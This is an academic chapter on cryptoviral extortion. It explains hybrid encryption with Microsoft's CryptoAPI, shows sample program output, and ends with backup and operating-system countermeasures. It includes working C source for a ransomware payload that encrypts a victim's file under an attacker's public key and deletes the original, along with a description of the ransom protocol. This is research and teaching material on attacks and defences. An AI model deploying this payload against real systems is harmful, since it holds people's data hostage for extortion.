
Chapter 2:

An Implementation of Cryptoviral Extortion

Using Microsoft’s Crypto API∗

Adam L. Young and Moti M. Yung

Abstract

This chapter presents an experimental implementation of cryptovi-

ral extortion, an attack that we devised and presented at the 1996
IEEE Symposium on Security & Privacy [16] and that was recently
covered in Malicious Cryptography [17]. The design is based on Mi-
crosoft’s Cryptographic API and the salient aspects of the implemen-
tation were presented at ISC ’05 [14] and were later refined in the
International Journal of Information Security [15]. Cryptoviral extor-
tion is a 2-party protocol between an attacker and a victim that is
carried out by a cryptovirus, cryptoworm, or cryptotrojan. In a cryp-
toviral extortion attack the malware hybrid encrypts the plaintext of
the victim using the public key of the attacker. The attacker extorts
some form of payment from the victim in return for the plaintext that
is held hostage. In addition to providing hands-on experience with
this cryptographic protocol, this chapter gives readers a chance to: (1)
learn the basics of hybrid encryption that is commonly used in every-
thing from secure e-mail applications to secure socket connections, and
(2) gain a basic understanding of how to use Microsoft’s Cryptographic
API that is present in modern MS Windows operating systems. The
chapter only provides an experimental version of the payload, no self-
replicating code is given. We conclude with proactive measures that
can be taken by computer users and computer manufacturers alike to
minimize the threat posed by this type of cryptovirology attack.

∗If this file was obtained from a publicly accessible website other than the website
www.cryptovirology.com then (1) the entity or entities that made it available are in vio-
lation of our copyright and (2) the contents of this file should therefore not be trusted.
Please obtain the latest version directly from the official Cryptovirology Labs website at:
http://www.cryptovirology.com.
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1 Introduction

The first cryptovirus took a while to implement. It involved the laborious
process of porting portions of the GNU multiprecision library version 1.3.2 to
the Macintosh using Symantec’s Think C compiler version 4.0. The compiler
complained time and time again during the porting process. To achieve a
small virus certain portions of it were implemented directly in Motorola
assembly language. However, we were determined to demonstrate that our
cryptoviral extortion attack was a real-world possibility.

In 1995 we tested our cryptovirus on a Macintosh SE/30 running OS
version 7.1 and it met all of our expectations. We were extremely careful to
ensure that the virus had no chance of escaping the test machine. Logic was
placed in it to prevent it from spreading on other machines. We reported
this early experimentation in [16] and also described more elaborate versions
of the attack, the goal of devising survivable malware, and other ideas. The
paper was the starting point for cryptovirology, an area of research that has
grown considerably in scope since then. For a comprehensive overview of
cryptovirology, see [17].

The Microsoft Cryptographic API was distributed in August of 1996
with Microsoft’s Windows 95 OEM Service Release 2. The Microsoft Cryp-
tographic API also appeared in Windows NT 4.0, Windows 2000, Windows
XP, and therefore in computers the world over. The introduction of MS
CAPI in Microsoft operating systems after the publication of [16] made it
an interesting problem to revisit the “difficulty” of carrying out cryptovi-
ral extortion using malware. Recently, an experiment was conducted that
uses MS CAPI for carrying out cryptoviral extortion and this experiment
is detailed in [14, 15]. This chapter adds to this previous work by (1) cov-
ering the experimental code in more detail, (2) giving a tutorial on how to
use the experimental program, and (3) by providing example output. The
chapter and associated appendix (containing the corresponding source code)
therefore constitute fundamental research in modern cryptovirology.

The cryptographic tools that we use are quite strong, since we employ
optimal asymmetric encryption padding [2] that is included in MS CAPI.
The security of optimal asymmetric encryption padding (OAEP) is based on
the random oracle model [1]. OAEP has been investigated by researchers in
recent years and hidden intricacies regarding the intractability assumptions
that it relies on have been revealed [3, 13].

We begin by showing how to use our experimental program that demon-
strates a cryptoviral extortion attack. This exposition includes example
output of this command-line program. The code for the experiment is then
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described, from key generation all the way through to symmetric decryption
of the victim’s hybrid encrypted file. This is a high-level explanation that is
intended to present the basic structure of the implementation. The source
code that performs the hybrid encryption is given in Section 6.

We give countermeasures in Sections 7 and 8 that help mitigate the
threat of cryptoviral extortion. This includes actions that both computer
users and computer manufacturers can take.

Both the theoretical and practical design of our experimental program
has undergone peer-review in several academic forums. However, the bulk
of the ANSI C code for the experiment that is based on MS CAPI has yet
to be scrutinized by the infosec community. We encourage people to send
us feedback and bug reports. We can be contacted at the following e-mail
address: feedback@cryptovirology.com. Of particular interest is ways in
which we can improve this chapter for classroom use.

2 Creating the Program

The experimental program is called fencrypt.exe and it is created by com-
piling the source file fencrypt.c. This file is written in the C programming
language. We used the Minimalist GNU for Windows (MinGW) develop-
ment suite to compile these. We created a simple makefile and executed
it using mingw32-make. This caused gcc to compile the source files and
produce the Windows command-line program fencrypt.exe.

3 Running the Program

Depending upon the command that the user enters, the program generates
a key pair, asymmetrically encrypts the session key and hybrid encrypts the
victim’s file, decrypts the session key, or decrypts the victim’s file. This
is accomplished by writing cryptographic values to files, reading them in,
reading plaintext files in, writing ciphertext out, and so on. No private values
are stored internally, so the program can be used by both the extortionist
and the victim to carry out the 3-round cryptoviral extortion protocol.

The following is the main screen where the user enters the command.

"fencrypt.c" Copyright (c) 2005-2006 by

Moti Yung and Adam L. Young. All rights reserved.

This program is based on:

A. Young, M. Yung, "Cryptovirology: Extortion-Based
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Security Threats and Countermeasures," IEEE

Symposium on Security & Privacy, pp. 129-140, 1996.

Cryptoviral payload functions:

Type (a) to generate a 1024-bit RSA key pair.

This creates "pubkeyblob.txt" and "privkeyblob.txt".

Type (b) to encrypt the host plaintext file.

This deletes "plaintext.txt".

This creates "ciphertext.bin" and "sessionkeyblob.txt".

Type (c) to decrypt the symmetric key blob.

This creates "cleartextsessionkeyblob.txt".

Type (d) to recover the host plaintext file.

This recreates "plaintext.txt".

Type (e) to execute a support function.

Enter command (a-e) :

The key pair that is used for the attack is generated by entering com-
mand (a). This causes the program to utilize the Microsoft Enhanced Cryp-
tographic Service Provider (CSP) to generate an RSA key pair having a
1024-bit public modulus.

The user is required to select a password that is used to create this blob.
In the example below, the user entered “1fidaqitez”. The string that the
user enters is translated into a 3DES symmetric key [8, 6, 7]. This key is
used to encrypt the RSA private key values and the resulting ciphertext
is stored in the text file privkeyblob.txt. The public key is stored in a
cleartext blob that is written to the file pubkeyblob.txt.

Enter command (a-e) : a

The default password is "password12345678".

Type Enter to use the default password.

DON’T USE THE DEFAULT -- IT ISN’T SECURE.

Password MUST be at least 10 characters.

Enter a password to protect your data: 1fidaqitez

The password is "1fidaqitez".

Created a new container called:

1c2r3y4p5t6o7v8i9r0o1l2o3g4y5

Attempting to create an exchange key pair.

An exchange key pair was created.
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Obtained public key blob length.

The public key was exported.

pdwDataLen = 148.

pubKeyBlobStr =

0602000000A40000525341310004000001000100790C399B2B26475763D5FDC7

1A59AE889D88527E0E10EE309C75E1DB9B0CC2CE4557358B8C154463854429B9

3FF40D1C232AAFCD37FA3AC773FD7335FEB2805D741D5B23FAFDB005D58B7BEB

6756F7C8F7CDE57E424B118A7C7BA294D4A94186B89C83EF3E56D7B08A9C40F1

31890C4EFF581AA4C1778D71172C26A2F7DF76E6

strlen(pubKeyBlobStr) = 296

Private key export succeeded.

pbPrivKeyBlobLen = 600.

privKeyBlobStr =

0702000000A40000E2D60DCCF4EACFBA65F47E14948E41D00B56DC4FBBF2DF31

418E63ED4F43FDF8FC0C226AD6A711A80425602BE89762C9E5EAF0E6B631768A

791332043E5E825ECBB41519509A8C99F6526467DFB7E8FD45B1BA061DA2D23B

A577C8E5FC3DBA942652D236773460B35B255FB3923612FBF41123F4DBC615E2

65CB463570A39F02E9C8AF5CB53BDB254EA6C1D34A75324E5CDA68C26E73C00D

AD6960FF1DEB9422E97D5F68150F34BC4D8D6E2D080001DA71A83F453D19AD9A

45FD2709597557C7A2A634D12302DFEF6B2C32FC55AC39BA29F9F022B517A214

B140CD04418F4749E9C0FA688F49E025F0D4A8D4133C5815178FB59EBBF89D17

0B7211144E1BC5D4A39F5A125D7A1C0DE47F0027026C24E63830C5ACB62FD894

084AC532474E705AFF8968FED984949C6431C5BE04CE049DC6B8913A9DE848E5

56D069275646C2EF46110FBB2B200847072BF1C2D2E45438C0DD7564EDD95FE4

AA1D759D16A482C39D09F6B44A93B26CA13D3AD135DE5BAE2D772DC1937BBDED

241D542F94C7A081C0E78E413E96B79D486D043206FE7EC3B6E8D09F82EB4814

7E7287142066511EFB029817702FA987DE3CEB45DD16F5E855F58E3751BE10F5

76C2038C6C3548B50E13C0EB7B28CE7AEEF01F4B6F2CBBCF60A8391B2E34E024

387B8E1A1D8D5E9BF470B1887506F29F4B7542E6EF78D93580729B157F71D849

E7141DB93D5B2C52FE33490B3AFC1440C45467FB3DF72C38E298E18C64DDBD15

0894F7D90C891CB5FC19993ACAC5C9C14B61EE7748F25AA468B4D95E969F2ADF

59C83D8DA9BAE1F9D140B4391FAE1EF3D077A23EB3E07675

strlen(privKeyBlobStr) = 1200

Successfully deleted container:

1c2r3y4p5t6o7v8i9r0o1l2o3g4y5

Command (b) is used to emulate the attack against the host system. In
practice command (b) would be the payload of the malware and it would be
triggered by some event such as a specific day of the year.

The command causes the program to generate a random 168-bit 3DES
key. This key is then encrypted using the RSA public key that is con-
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tained in pubkeyblob.txt to produce an asymmetric ciphertext. The pro-
gram encrypts plaintext.txt using the 3DES key and writes the result to
ciphertext.bin. It is at this point that the plaintext file should be securely
wiped. However, the experimental program does not do this. Finally, the
asymmetric ciphertext is written to sessionkeyblob.txt.

Enter command (a-e) : b

Read in public key from "pubkeyblob.txt".

Wrote symmetric ciphertext of file to "ciphertext.bin".

Wrote asymmetric ciphertext of session key

to "sessionkeyblob.txt".

In theory, upon completion of command (b) the malware would notify
the user that plaintext.txt has been hybrid encrypted. The malware could
post a message to the screen instructing the victim on how to negotiate the
release of the plaintext. The attacker could require them to communicate us-
ing digital pseudonyms and insist that all messages be signed and encrypted
and sent over a mix network. The victim will need to give the attacker the
file sessionkeyblob.txt so that it can be decrypted using the attacker’s
public key.

When the ransom is paid (in whatever form it may take), the attacker
deciphers the session key blob by executing command (c). This command
reads in the attacker’s private key from privkeyblob.txt and requests that
the attacker enter the needed password to decrypt the private key. Once the
private key is decrypted it is used to decipher the session key blob contained
in sessionkeyblob.txt.

In general it is possible to simply send the symmetric key to the victim
in the clear since it would be of little or no use to other people. How-
ever, for reasons of compatibility with Windows 2000 and later operat-
ing systems our implementation symmetrically encrypts the 3DES session
key that the victim needs and saves the resulting ciphertext in the file
cleartextsessionkeyblob.txt. This blob is created using a fixed sym-
metric key that can be publicly known.

Enter command (a-e) : c

Enter the -same- password used to encrypt your private key.

The default password is "password12345678".

Type Enter to use the default password.
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DON’T USE THE DEFAULT -- IT ISN’T SECURE.

Password MUST be at least 10 characters.

Enter a password to protect your data: 1fidaqitez

Preparing to decrypt the session key blob.

Created a new container called:

1c2r3y4p5t6o7v8i9r0o1l2o3g4y5

The user’s password has been constructed.

pbPrivKeyBlobLen = 600.

dwSessionKeyBlobLen = 140.

Succeeded in importing key pair from blob.

Decrypting session key blob by importing it.

Session key imported using CryptImportKey.

Obtained constant key blob length.

Session key exported basically in the clear

clearTextSessionKeyBlobStr =

0B02000003660000036600009ECD358EB89A13D326313515B9E82B514823B999

F47C26ABC4000FFAF5ADD36DD6AC10FD346561DC

Successfully deleted container:

1c2r3y4p5t6o7v8i9r0o1l2o3g4y5

The attacker sends the symmetric key to the victim by sending the vic-
tim the file cleartextsessionkeyblob.txt. If the functionality needed to
decipher the plaintext file is not already included in the malware then this
program that includes command (d) is also sent to the victim.

The victim executes command (d). Command (d) reads in the file
cleartextsessionkeyblob.txt and decrypts the session key blob using the
fixed symmetric key. This reveals the needed 3DES decryption key. The
file ciphertext.bin is read in, decrypted using the 3DES key, and the file
plaintext.txt is recreated in its original form.

Enter command (a-e) : d

Converting the cleartext blob into a symmetric key

data structure.

Created a new key container called:

1c2r3y4p5t6o7v8i9r0o1l2o3g4y5

Session key imported using CryptImportKey.

Now decrypting the file...

IV = EE9C93E25F09227A

successfully set the IV.
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Decryption loop complete.

Successfully deleted container:

1c2r3y4p5t6o7v8i9r0o1l2o3g4y5

4 Top-Down Design

The implementation will be described using a top-down approach. Certain
minor details of the experimental program will be omitted in order to clearly
explain the essentials of the implementation. The design does not include
the mechanism that enables the attacker to communicate anonymously with
the victim. This facet is out of scope for this discussion, but it clearly an
important issue that the attacker would need to address. Now or in the
near future it may possible to utilize a mix network to allow the victim to
communicate with the attacker.1 Our discussion also does not encompass
the nature of the ransom, which could be money, data, services, etc.

Commands (a) and (c) are implemented using the C function Key-
PairOwner. This function takes a single integer as an argument. The
argument is used to choose between two different subroutines. The call
KeyPairOwner(0) performs key pair generation and KeyPairOwner(2) de-
crypts the asymmetrically encrypted session key of the victim.

Commands (b) and (d) that are carried out on the victim’s machine are
implemented in the function PlaintextOwner. Like KeyPairOwner, Plain-
textOwner contains two different subroutines. PlaintextOwner(1) mounts
the extortion attack. It causes a plaintext file of the victim (the victim is
the plaintext owner) to be hybrid encrypted using the attacker’s public key
that was produced using KeyPairOwner(0). PlaintextOwner(3) symmetri-
cally decrypts the hybrid encrypted file. This of course requires that the
attacker has run KeyPairOwner(2) via command (c) and sent the resulting
session key to the victim.

Therefore, the cryptoviral extortion protocol corresponds to the following
ordered execution:

KeyPairOwner(0);

PlaintextOwner(1);

KeyPairOwner(2);

PlaintextOwner(3);

1Mix networks form a fundamental building block in many other cryptographic proto-
cols such as advanced e-voting protocols [5].
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The function PlaintextOwner(1) must be included in the malware since it
is the mission critical payload that encrypts the victim’s plaintext. Placing
PlaintextOwner(3) in the malware is entirely optional since the program
fencrypt can be sent to the victim by the attacker at the same time that
the session key is sent to the victim. For simplicity we assume that only
PlaintextOwner(1) is included in the malware.

To follow the top-down description it is necessary to have a basic under-
standing of the Microsoft Cryptographic API. In particular it is important
to understand the functionality of a cryptographic service provider and a
key container.

4.1 Data Encryption Phase

KeyPairOwner(0);

The function ObtainUserPassword is called to query the user for the
password that is needed to encrypt the private key blob that will be gener-
ated. The user must enter a long enough password and hit enter.

The first 3 CAPI calls that appear in KeyPairOwner(0) are CryptAc-
quireContext. These are in if statements and they are geared towards
obtaining a handle to a container having the name specified by the global
string constant gContainerNameStr. If this RSA key container already ex-
ists then it is deleted.2 Under normal conditions this code results in acquir-
ing a handle to the MS Enhanced CSP. This handle is then used in a call to
CryptGenKey in which an RSA [11] key pair is generated in the container
having the name specified by gContainerNameStr.

A call is made to CryptExportKey to determine the size of the public
key blob. Another call is made to CryptExportKey to export the public key
in plaintext form into a blob. The blob is expressed in hexadecimal using
an ASCII string. The string is then formatted further to form an ANSI C
string constant that is easily readable in a text editor (the blobs are quite
long). In practice this public key blob would be encoded within the malware
using a string constant.

The password that was entered by the user (i.e., the attacker) in the
call to ObtainUserPassword is converted into a user-defined symmetric key.
This is accomplished using the function ComputeUserPassword that is de-
scribed in subsection 4.3. The symmetric key is used to encrypt the private

2For example, during debugging Windows may be left in a state in which the container
exists with a key pair in it.
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key that is generated. A call is made to CryptExportKey to determine the
size of the private key blob. Another call is made to CryptExportKey to
export the private key (in ciphertext form) into a blob. CryptDestroyKey is
called twice to delete key material. A call is made to CryptAcquireContext

using CRYPT DELETEKEYSET to delete the key container.
The public key blob is written to the text file pubkeyblob.txt. This is

the way all of the blobs are written to text files. The private key blob is
written to the text file privkeyblob.txt.

PlaintextOwner(1);

This function serves as the payload of the malware that carries out cryp-
toviral extortion. CryptAcquireContext is called to obtain a handle to the
MS Enhanced CSP. The container name for this call is specified by the string
gContainerNameStr. In practice the container name can be chosen with a
very large random number in it’s name so that with overwhelming probabil-
ity it will not coincide with an already existing named key container. The
key container is used only temporarily within the host machine to enable
the use of MS CAPI.

The public key blob, which is obtained by reading in pubkeyblob.txt, is
passed to CryptImportKey to obtain a handle to the public encryption key
of the attacker. In practice the public key blob will not be read in from a
file. Rather, it will be a data constant that is contained within the malware.

The algorithm identifier for 168-bit 3DES is passed to CryptGenKey. As
a result, CryptGenKey returns a handle to a randomly generated 3DES key.
The default encryption mode for this key is cipher block chaining and the
default initialization vector is the string of binary zeros. This 3DES key is
used as the session key in the hybrid encryption of the victim’s data.

A call is made to CryptExportKey to determine the size of the session
key blob. A second call to CryptExportKey is then made. This encrypts
the session key with the public key and returns a handle to the resulting
blob. This is a Bellare-Rogaway encryption [2, 12] since the flag CRYPT OAEP

is used.
Eight random bytes are generated by calling CryptGenRandom. These

bytes will serve as the random initialization vector. To configure the use of
this IV, a pointer to these 8 bytes is passed to CryptSetKeyParam.

The IV is written out to the ciphertext file named ciphertext.bin. The
function CryptEncrypt is invoked repeatedly in a do-while loop to encrypt
the victim’s plaintext file using the 3DES session key in cipher block chaining
mode. The ciphertext is written to ciphertext.bin within the loop.
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PlaintextOwner(1) deletes the plaintext file that was encrypted. The
experimental code does not do a file wipe (e.g., overwriting the plaintext file
with randomly selected bits multiple times). A file wipe must be performed
in a cryptoviral extortion attack, otherwise the plaintext might be recover-
able from the medium in which it is stored (e.g., hard disk). Standards exist
for performing secure media cleansing [10]. Securely wiping the plaintext file
can be a non-trivial endeavor, particularly when a proprietary file system is
in use.

Calls are made to the function CryptDestroyKey to destroy the session
key and the public key. PlaintextOwner(1) sets the CRYPT DELETEKEYSET

flag in a call to the function CryptAcquireContext to delete the key con-
tainer. The session key blob is then written in ASCII to the text file
sessionkeyblob.txt.

4.2 Data Decryption Phase

KeyPairOwner(2);

The function ObtainUserPassword is called to query the user for the
password that is needed to decrypt the private key blob. The user must
enter the correct password and hit enter.

The first CAPI call that is made in KeyPairOwner(2) is the function
CryptAcquireContext. The container name for this call is specified by the
string gContainerNameStr. This obtains a handle to the MS Enhanced
CSP.

The function ComputeUserPassword is called to transform the password
that the user entered into the symmetric key that is needed to decipher
the private key blob. ComputeUserPassword returns a handle to the needed
symmetric decryption key. The symmetric key is used to decrypt the private
key blob and thereby give access to the RSA key pair. This is accomplished
using a call to CryptImportKey.

The handle to the RSA key pair is passed in another call to the MS
CAPI function CryptImportKey in order to decrypt the session key blob.
The session key is then available to decrypt the victim’s file.

The function ComputeUserPassword is then invoked using the password
“ConstantPassword” as input. This results in a handle to a constant 3DES
key that is computed based on the string “ConstantPassword”. This key is
effectively public since “ConstantPassword” is fixed (it appears in both the
cryptoviral payload and in the attacker’s client program).
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A call is made to CryptExportKey to determine the size of the blob that
will contain the session key. A second call to CryptExportKey is made by
passing in the handle to the session key, the handle to the constant 3DES
key, and the blob type SYMMETRICWRAPKEYBLOB. This produces a blob for the
session key. The purpose of using the constant 3DES key is to produce a blob
that is compatible with Windows 2000 and later since the MS CAPI blob
type PLAINTEXTKEYBLOB is not supported in Windows 2000/NT/Me/98/95.

The resulting blob is effectively the plaintext of the random 3DES session
key that was used to encrypt the victim’s file (again, it is effectively plaintext
since “ConstantPassword” is a public string). CryptDestroyKey is called
multiple times to destroy the key material. The Microsoft CAPI function
CryptAcquireContext is invoked with CRYPT DELETEKEYSET to delete the
key container. The blob for the session key is written in ASCII to the text
file cleartextsessionkeyblob.txt.

PlaintextOwner(3);

The first CAPI call that is made is CryptAcquireContext to obtain a
handle to the MS Enhanced CSP. The container name for this call is specified
by the string gContainerNameStr.

PlaintextOwner(3) passes the fixed password “ConstantPassword” to
the function ComputeUserPassword that returns a handle to the fixed sym-
metric key. The session key blob and the handle to the fixed symmetric
key are then passed to CryptImportKey. The function CryptImportKey

decrypts the session key blob using the fixed symmetric key and returns a
handle to the 3DES key that was used to encrypt the victim’s file.

The initialization vector is read in from the ciphertext file. A pointer to
the 8 byte vector is passed to CryptSetKeyParam. This configures the IV to
be used in cipher block chaining decryption.

The handle to the 3DES key is passed to CryptDecrypt that is called
within a do-while decryption loop that decrypts the ciphertext of the vic-
tim’s data. The plaintext is written to the file plaintext.txt within this
loop, thereby repairing the data file of the victim.

CryptDestroyKey is called multiple times to destroy the key material.
A call is made to CryptAcquireContext with the CRYPT DELETEKEYSET flag
set to delete the key container.

4.3 The ComputeUserPassword Function

The function ComputeUserPassword takes as input a handle to the MS
Enhanced CSP along with the password that the user types in. The function
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returns a handle to a symmetric key.
It invokes CryptCreateHash to obtain a handle to a SHA-1 [9] hash

object. The handle to the hash object is passed to CryptHashData along
with the password of the user. The user’s password is hashed by this API
call thereby changing the data that the hash object handle points to. The
hash object is passed to CryptDeriveKey to obtain the handle to a 3DES
symmetric key that is derived from the password that the user entered.
ComputeUserPassword returns the handle to this 3DES key. Before ter-
minating, ComputeUserPassword passes the handle of the hash object to
CryptDestroyHash.

5 MS CAPI Calls

The cryptoviral payload utilizes the Microsoft Cryptographic API calls that
are covered in this section. This accounts for the code that is executed on
the host machine for encryption and decryption as well as the code that the
attacker executes.

The experimental attack indicates that a working knowledge of public
key cryptography, Microsoft CAPI, and these calls is all that is needed to
implement and deploy a cryptovirus, cryptoworm, or cryptotrojan based on
MS CAPI. As mentioned previously, a means would also need to be devised
to enable anonymous communication between the attacker and the victim.

BOOL WINAPI CryptAcquireContext(HCRYPTPROV *phProv,

LPCTSTR pszContainer,LPCTSTR pszProvider,

DWORD dwProvType,DWORD dwFlags);

BOOL WINAPI CryptGenRandom(HCRYPTPROV hProv,DWORD dwLen,

BYTE* pbBuffer);

BOOL WINAPI CryptGenKey(HCRYPTPROV hProv,ALG ID Algid,

DWORD dwFlags,HCRYPTKEY *phKey);

BOOL WINAPI CryptSetKeyParam(HCRYPTKEY hKey,DWORD dwParam,

BYTE* pbData,DWORD dwFlags);

BOOL WINAPI CryptImportKey(HCRYPTPROV hProv,BYTE *pbData,

DWORD dwDataLen,HCRYPTKEY hPubKey,DWORD dwFlags,

HCRYPTKEY *phKey);
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BOOL WINAPI CryptExportKey(HCRYPTKEY hKey,HCRYPTKEY hExpKey,

DWORD dwBlobType,DWORD dwFlags,BYTE *pbData,

DWORD *pdwDataLen);

BOOL WINAPI CryptEncrypt(HCRYPTKEY hKey,HCRYPTHASH hHash,

BOOL Final,DWORD dwFlags,BYTE *pbData,DWORD *pdwDataLen,

DWORD dwBufLen);

BOOL WINAPI CryptDecrypt(HCRYPTKEY hKey,HCRYPTHASH hHash,

BOOL Final,DWORD dwFlags,BYTE *pbData,

DWORD *pdwDataLen);

BOOL WINAPI CryptDestroyKey(HCRYPTKEY hKey);

BOOL WINAPI CryptCreateHash(HCRYPTPROV hProv,ALG ID Algid,

HCRYPTKEY hKey,DWORD dwFlags,HCRYPTHASH *phHash);

BOOL WINAPI CryptHashData(HCRYPTHASH hHash,BYTE *pbData,

DWORD dwDataLen,DWORD dwFlags);

BOOL WINAPI CryptDeriveKey(HCRYPTPROV hProv,ALG ID Algid,

HCRYPTHASH hBaseData,DWORD dwFlags,HCRYPTKEY *phKey);

BOOL WINAPI CryptDestroyHash(HCRYPTHASH hHash);

6 Cryptoviral Payload

In continuation of our top-down description of the extortion payload we now
give the code that is the payload itself. The name of the key container is
parametrized to enable the caller to choose it at run-time. This name is
passed in using the string pointer containerStr. The name of the plain-
text file is specified using the string pointer srcFileName. The name of the
resulting ciphertext file is specified using dstFileName. The public encryp-
tion key is passed to this function in the form of a MS CAPI public key
blob. This blob must be formatted in a C string and pubKeyBlobStr must
be set to point to it.
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int EncryptTheFile(const char *containerStr,

const char *srcFileName,const char

*dstFileName,const char *pubKeyBlobStr)

{

int retval,thestrlen,returnvalue = 0;

char *sessionKeyBlobStr = NULL;

FILE *hSource = NULL,*hDest = NULL;

BYTE *pbData,*pSessionKeyBlob = NULL,*pbBuff = NULL,pbRandData[8];

DWORD pdwDataLen,dwCnt,dwBlockLen,dwBuffLen,dwSessKeyBlobLen;

HCRYPTPROV hCryptProv;

HCRYPTKEY hPublicKey,hSessKey;

if (!CryptAcquireContext(&hCryptProv,containerStr,

MS_ENHANCED_PROV,PROV_RSA_FULL,CRYPT_NEWKEYSET))

return -1;

pdwDataLen = strlen(pubKeyBlobStr) >> 1;

for (;;)

{

if ((pbData = (BYTE *) malloc(pdwDataLen)) == NULL)

{returnvalue = -2; break;}

HexStrToBlob((char *) pubKeyBlobStr,pdwDataLen,pbData);

if (!CryptImportKey(hCryptProv,pbData,

pdwDataLen,0,0,&hPublicKey))

{returnvalue = -3; break;}

if (!CryptGenKey(hCryptProv,CALG_3DES,

SYM_KEY_SIZE | CRYPT_EXPORTABLE,&hSessKey))

{returnvalue = -4; break;}

if (!CryptExportKey(hSessKey,hPublicKey,

SIMPLEBLOB,0,NULL,&dwSessKeyBlobLen))

{returnvalue = -5; break;}

pSessionKeyBlob = (BYTE *) malloc(dwSessKeyBlobLen);

if (pSessionKeyBlob == NULL)

{returnvalue = -6; break;}

if (!CryptExportKey(hSessKey,hPublicKey,SIMPLEBLOB,

CRYPT_OAEP,pSessionKeyBlob,&dwSessKeyBlobLen))

{returnvalue = -7; break;}

thestrlen = (dwSessKeyBlobLen << 1) + 1;

sessionKeyBlobStr = (char *) malloc(thestrlen);

if (sessionKeyBlobStr == NULL)

{returnvalue = -8; break;}

BlobToHexStr(pSessionKeyBlob,

dwSessKeyBlobLen,sessionKeyBlobStr);

if (!CryptGenRandom(hCryptProv,8,pbRandData))

{returnvalue = -9; break;}

if (!CryptSetKeyParam(hSessKey,KP_IV,pbRandData,0))
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{returnvalue = -10; break;}

dwBlockLen = 1000 - 1000 % ENCRYPT_BLOCK_SIZE;

/* since ENCRYPT_BLOCK_SIZE > 1 ... */

dwBuffLen = dwBlockLen + ENCRYPT_BLOCK_SIZE;

if ((pbBuff = (BYTE *) malloc(dwBuffLen)) == NULL)

{returnvalue = -11; break;}

if ((hSource = fopen(srcFileName,"rb")) == NULL)

{returnvalue = -12; break;}

if ((hDest = fopen(dstFileName,"wb")) == NULL)

{returnvalue = -13; break;}

fwrite(pbRandData,1,8,hDest);

do {

dwCnt = fread(pbBuff,1,dwBlockLen,hSource);

if (ferror(hSource))

{returnvalue = -14; break;}

if (!CryptEncrypt(hSessKey,0,feof(hSource),

0,pbBuff,&dwCnt,dwBuffLen))

{returnvalue = -15; break;}

fwrite(pbBuff,1,dwCnt,hDest);

if (ferror(hDest))

{returnvalue = -16; break;}

} while(!feof(hSource));

break;

}

if (pbData) free(pbData);

if (pSessionKeyBlob) free(pSessionKeyBlob);

if (pbBuff) free(pbBuff);

if (hSource) fclose(hSource);

if (hDest) fclose(hDest);

if (!returnvalue) WipePlaintextFile(srcFileName);

if (!CryptDestroyKey(hSessKey)) returnvalue = -17;

if (!CryptDestroyKey(hPublicKey)) returnvalue = -18;

if (!CryptAcquireContext(&hCryptProv,containerStr,

MS_ENHANCED_PROV,PROV_RSA_FULL,CRYPT_DELETEKEYSET))

returnvalue = -19;

retval = WriteBlobStrToFile(sessionKeyBlobStr,SYMKEY_CTXT_FILE);

if (returnvalue == 0) returnvalue = retval;

if (sessionKeyBlobStr) free(sessionKeyBlobStr);

return returnvalue;

}

The function WipePlaintextFile in this implementation does not ac-
tually do a file wipe. So in practice more code will certainly be needed.
However, from a cryptographic perspective this experimental implementa-
tion captures exactly the cryptographic programming complexity.
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There is no big integer manipulation, no random number generation,
and no Feistel transformations in the code for the payload. These are all
abstracted away for the benefit of the attacker. This demonstrates the im-
mense power that Microsoft CAPI gives to attackers.

It is important that designers of operating systems be cognizant of the
fact that by making cryptographic services readily available to programs
they are in effect serving the needs of security programs and malware alike.
We hope that this investigation will provide enough real-world details of MS
CAPI to enable the reader to assess the complexity of deploying a cryptoviral
extortion attack when a cryptographic API is readily available to malware.

7 User Countermeasures

A solid defense against a cryptoviral extortion attack is to have backups of
the plaintext that could potentially be attacked. Regular backups that are
periodically verified should be considered. Other countermeasures include
having a strong defense against malicious software. This includes but is
not limited to: a firewall, a resident antiviral program, and an intrusion
detection service. Antivirus updates should be obtained regularly and full
malware scans should be conducted routinely. Executable software should
only be obtained from reliable sources.3

It should be noted that by storing user files in encrypted form, protection
against cryptoviral extortion is not necessarily achieved. The encryption of
an encryption will serve the user no good when the outer layer cannot be
deciphered.

8 Possible Operating System Countermeasures

The following is a method in which an OS kernel can potentially mitigate
the threat of cryptoviral extortion. This approach was given in [14, 15].

Consider an operating system with a cryptographic API. The user rou-
tinely hybrid encrypts and decrypts files, e-mail, etc. A smart card may
be used for this purpose. A mechanism that can be incorporated into the
operating system is the following. Before asymmetrically encrypting data,
either:

3This also includes files that might not appear to be executable but that in fact can
be effectively executed, such as MS Word documents.
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1. The user must prove to the kernel in zero-knowledge the possession of
the needed private decryption key. For efficiency reasons this can be
required when the user logs in, or

2. The public encryption key must be taken from a trusted certificate,
i.e., a certificate that the kernel verifies all the way to the root (using
the online certificate status protocol (OCSP), certificate revocation
lists (CRL), etc.).

This way, the kernel will only encrypt data when it is certain that an
authorized user will be able to decrypt it. This approach also benefits from
the fact that an attacker of sound mind will not personally visit a certifica-
tion authority to obtain a digital certificate that is used for the attack. In
the approach the kernel therefore does not trust that public encryption keys
will be used lawfully.

In case (1), the kernel serves as the verifier in a zero-knowledge proof of
knowledge [4]. In case (2), the kernel is the verifier of the digital signature(s)
on X.509 v3 certificates, CRLs, etc. So, the mechanism forces the kernel to
serve as a cryptographic verifier.

This countermeasure assumes that the kernel is not penetrated by the
malware in question. Also there are obvious limitations to these countermea-
sures. An attacker can always incorporate all of the needed cryptographic
functionality within the malware. So, in many ways this approach merely
forces attackers to do so. The approach may have appeal to operating system
manufacturers that wish to avoid aiding attackers by providing uncontrolled
access to a cryptographic API.
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